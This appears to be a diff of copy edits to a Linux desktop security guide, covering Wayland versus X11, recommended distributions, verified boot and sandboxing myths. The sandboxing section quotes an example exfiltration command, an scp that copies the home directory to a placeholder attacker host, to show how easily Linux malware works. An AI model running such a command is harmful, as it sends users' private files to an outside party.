If you want to use one of these distributions for reasons other than ideology, you should make sure that they there is a way to easily obtain, install and update a proper kernel and missing firmware. For example, if you are looking to use [GUIX](https://guix.gnu.org/en/download/), you should absolutely use something like the [Nonguix](https://gitlab.com/nonguix/nonguix) repository and get all of the fixes as mentioned above. If you want to use one of these distributions for reasons other than ideology, you should make sure that they there is a way to easily obtain, install, and update a proper kernel and missing firmware. For example, if you are looking to use [GUIX](https://guix.gnu.org/en/download/), you should absolutely use something like the [Nonguix](https://gitlab.com/nonguix/nonguix) repository and get all of the fixes as mentioned above.
## Wayland ## Wayland
You should use a desktop environment that supports the [Wayland](https://en.wikipedia.org/wiki/Wayland_(display_server_protocol)) display protocol as it developed with security [in mind](https://lwn.net/Articles/589147/). Its predecessor, [X11](https://en.wikipedia.org/wiki/X_Window_System), does not support GUI isolation, allowing all windows to [record screen, log and inject inputs in other windows](https://blog.invisiblethings.org/2011/04/23/linux-security-circus-on-gui-isolation.html), making any attempt at sandboxing futile. While there are options to do nested X11 such as [Xpra](https://en.wikipedia.org/wiki/Xpra) or [Xephyr](https://en.wikipedia.org/wiki/Xephyr), they often come with negative performance consequences and are not convenient to set up and are not preferable over Wayland. You should use a desktop environment that supports the [Wayland](https://en.wikipedia.org/wiki/Wayland_(display_server_protocol)) display protocol as it developed with security [in mind](https://lwn.net/Articles/589147/). Its predecessor, [X11](https://en.wikipedia.org/wiki/X_Window_System), does not support GUI isolation, allowing all windows to [record screen, log and inject inputs in other windows](https://blog.invisiblethings.org/2011/04/23/linux-security-circus-on-gui-isolation.html), making any attempt at sandboxing futile. While there are options to do nested X11 such as [Xpra](https://en.wikipedia.org/wiki/Xpra) or [Xephyr](https://en.wikipedia.org/wiki/Xephyr), they often come with negative performance consequences, are not convenient to set up, and are not preferable to Wayland.
Fortunately, common environments such as [GNOME](https://www.gnome.org) and [KDE](https://kde.org) have support for Wayland. Some distributions like Fedora and Tumbleweed use it by default, and some others may do so in the future as X11 is in [hard maintenance mode](https://www.phoronix.com/scan.php?page=news_item&px=X.Org-Maintenance-Mode-Quickly). If you’re using one of those environments it is as easy as selecting the “Wayland” session at the desktop display manager ([GDM](https://en.wikipedia.org/wiki/GNOME_Display_Manager), [SDDM](https://en.wikipedia.org/wiki/Simple_Desktop_Display_Manager)). Fortunately, common environments such as [GNOME](https://www.gnome.org) and [KDE](https://kde.org) have support for Wayland. Some distributions like Fedora and Tumbleweed use it by default, and some others may do so in the future as X11 is in [hard maintenance mode](https://www.phoronix.com/scan.php?page=news_item&px=X.Org-Maintenance-Mode-Quickly). If you’re using one of those environments it is as easy as selecting the “Wayland” session at the desktop display manager ([GDM](https://en.wikipedia.org/wiki/GNOME_Display_Manager), [SDDM](https://en.wikipedia.org/wiki/Simple_Desktop_Display_Manager)).
Try **not** to use desktop environments or window managers that do not have Wayland support such as Cinnamon (default on Linux Mint), Pantheon (default on Elementary OS), MATE, Xfce, and i3. You should also avoid Wayland environments which use wlroots as the compositor such as Sway, since wlroots adds many of X11 weaknesses back including the ability for apps to record each other without prompting for permission. Try **not** to use desktop environments or window managers that do not have Wayland support such as Cinnamon (default on Linux Mint), Pantheon (default on Elementary OS), MATE, Xfce, and i3. You should also avoid Wayland environments which use wlroots as the compositor such as Sway, since wlroots adds many of X11 weaknesses back, including the ability for apps to record each other without prompting for permission.
## Recommended Distributions ## Recommended Distributions
Here is a quick non authoritative list of distributions that are generally better than others: Here is a quick, non-authoritative list of distributions that are generally better than others:
### Fedora Workstation ### Fedora Workstation
@ -92,7 +92,7 @@ You can refer to the video by [Adam Šamalík](https://twitter.com/adsamalik) li
Fedora Workstation and Silverblue's European counterpart. These are rolling release, fast updating distributions with [transactional update](https://kubic.opensuse.org/blog/2018-04-04-transactionalupdates/) using [Btrfs](https://en.wikipedia.org/wiki/Btrfs) and [Snapper](https://en.opensuse.org/openSUSE:Snapper_Tutorial). Fedora Workstation and Silverblue's European counterpart. These are rolling release, fast updating distributions with [transactional update](https://kubic.opensuse.org/blog/2018-04-04-transactionalupdates/) using [Btrfs](https://en.wikipedia.org/wiki/Btrfs) and [Snapper](https://en.opensuse.org/openSUSE:Snapper_Tutorial).
[Aeon](https://microos.opensuse.org/) has a much smaller base system than [Tumbleweed](https://get.opensuse.org/tumbleweed) and mounts the running BTRFS subvomumes as read-only (hence its name and why it is considered an immutable distribution). Currently, it is still in RC so changes are to be expected. Nevertheless, it is an awesome project. [Aeon](https://microos.opensuse.org/) has a much smaller base system than [Tumbleweed](https://get.opensuse.org/tumbleweed) and mounts the running BTRFS subvolumes as read-only (hence its name and why it is considered an immutable distribution). Currently, it is still in RC so changes are to be expected. Nevertheless, it is an awesome project.
{{< youtube id="jcl_4Vh6qP4">}} {{< youtube id="jcl_4Vh6qP4">}}

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@ -23,17 +23,17 @@ Linux servers are lighter than Desktop Linux systems by orders of magnitude, wit
## Linux Hardening Myths ## Linux Hardening Myths
There is a common claim in response to Madaidan that Linux is only insecure by default, and that an experienced user can make it the most secure operating system out there, surpassing the likes of macOS or ChromeOS. Unfortunately, this is wishful thinking. There is no amount of hardening that one can reasonably apply as a user to fix up the inherent issues with Linux. There is a common claim in response to Madaidan that Linux is only insecure by default, and that an experienced user can make it the most secure operating system out there, surpassing the likes of macOS or ChromeOS. Unfortunately, this is wishful thinking. There is no amount of hardening that one can reasonably apply as a user to shore up the inherent issues with Linux.
### Lack of verified boot ### Lack of verified boot
macOS, ChromeOS, and Android have a clear distinction between the system and user installed application. In over simplified terms, the system volume is signed by the OS vendor, and the firmware and boot loader works to make sure that said volume has the authorized signature. The operating system itself is immutable, and nothing the user does will need or be allowed to tamper with the system volume. Android, macOS, and ChromeOS have a clear distinction between the system and user installed applications. In oversimplified terms, the system volume is signed by the OS vendor, and the firmware and boot loader works to make sure that said volume has the authorized signature. The operating system itself is immutable, and nothing the user does will need or be allowed to tamper with the system volume.
On Linux, there is no such clear distinction between the system and user installed applications. Linux distributions are a bunch of packages put together to make a system that works, and thus every package is treated as part of said system. The end result is that binaries, regardless of whether they are vital for the system to function or just an extra application, are thrown into the same directories as each other (namely `/usr/bin` and `/usr/local/bin`). This makes it impossible for an end user to setup a verification mechanism to verify the integrity of "the system", as said "system" is not clearly defined in the first place. Meanwhile, on Linux, there is **no** clear distinction between the system and user installed applications. Linux distributions are a bunch of packages put together to make a system that works, and thus every package is treated as part of said system. The end result is that binaries, regardless of whether they are vital for the system to function or just an extra application, are thrown into the same directories as each other (namely `/usr/bin` and `/usr/local/bin`). This makes it impossible for an end user to setup a verification mechanism to verify the integrity of "the system", as said "system" is not clearly defined in the first place.
### Lack of application sandboxing ### Lack of application sandboxing
Operating systems like Android and ChromeOS have full system mandatory access control, every process from the init process is strictly confined. Regardless of which application you install or how you install them, they have to play by the rules of an untrusted SELinux domain and are only able to utilize unprivileged APIs. Operating systems like Android and ChromeOS have full system mandatory access control; that is, every process from the init process is strictly confined. Regardless of which application you install or how you install them, they have to play by the rules of an untrusted SELinux domain and are only able to utilize unprivileged APIs.
Even on macOS, where the application sandbox is opt-in for developers, there is still a permission control system (TCC) for unprivileged applications. Apps run by the user do not have unrestricted access to their microphone, webcam, keystrokes, sensitive documents, and so on. Even on macOS, where the application sandbox is opt-in for developers, there is still a permission control system (TCC) for unprivileged applications. Apps run by the user do not have unrestricted access to their microphone, webcam, keystrokes, sensitive documents, and so on.
@ -53,6 +53,6 @@ Something being open source does not imply that it is inherently private, secure
**Security by irrelevance does not work**. Just because there are fewer users of your favorite operating system does not make it any safer. **Security by irrelevance does not work**. Just because there are fewer users of your favorite operating system does not make it any safer.
Ask yourself this: Would you ditch Windows for ReactOS considering that it is a lot less popular and is less targeted? Likewise, would you ditch Linux desktop when it becomes the mainstream solution for the BSDs or some niche operating systems just because they are less popular? Ask yourself this: Would you ditch Windows for ReactOS because it is a lot less popular and is less targeted? Likewise, would you ditch Linux desktop when it becomes the mainstream solution for the BSDs or some niche operating systems just because they are less popular?
Malware for Linux does exist, and it is not hard to make. It can be something as trivial as a shell script or binary executing `scp -r ~/ malware@xx.xx.xx.xx:/data`. Due to the lack of application sandboxing or an application permission model, your computer can be compromised the moment you execute a malicious binary, shell script, or install script with or without root and with or without an exploit. This is, of course, not to discount the fact that many exploits do exist on Linux just like on any other operating systems as well. Malware for Linux does exist, and it is not hard to make. It can be something as trivial as a shell script or binary executing `scp -r ~/ malware@xx.xx.xx.xx:/data`. Due to the lack of application sandboxing or an application permission model, your computer can be compromised the moment you execute a malicious binary, shell script, or install script with or without root and with or without an exploit. This is, of course, not to discount the fact that many exploits do exist on Linux just like on any other operating systems as well.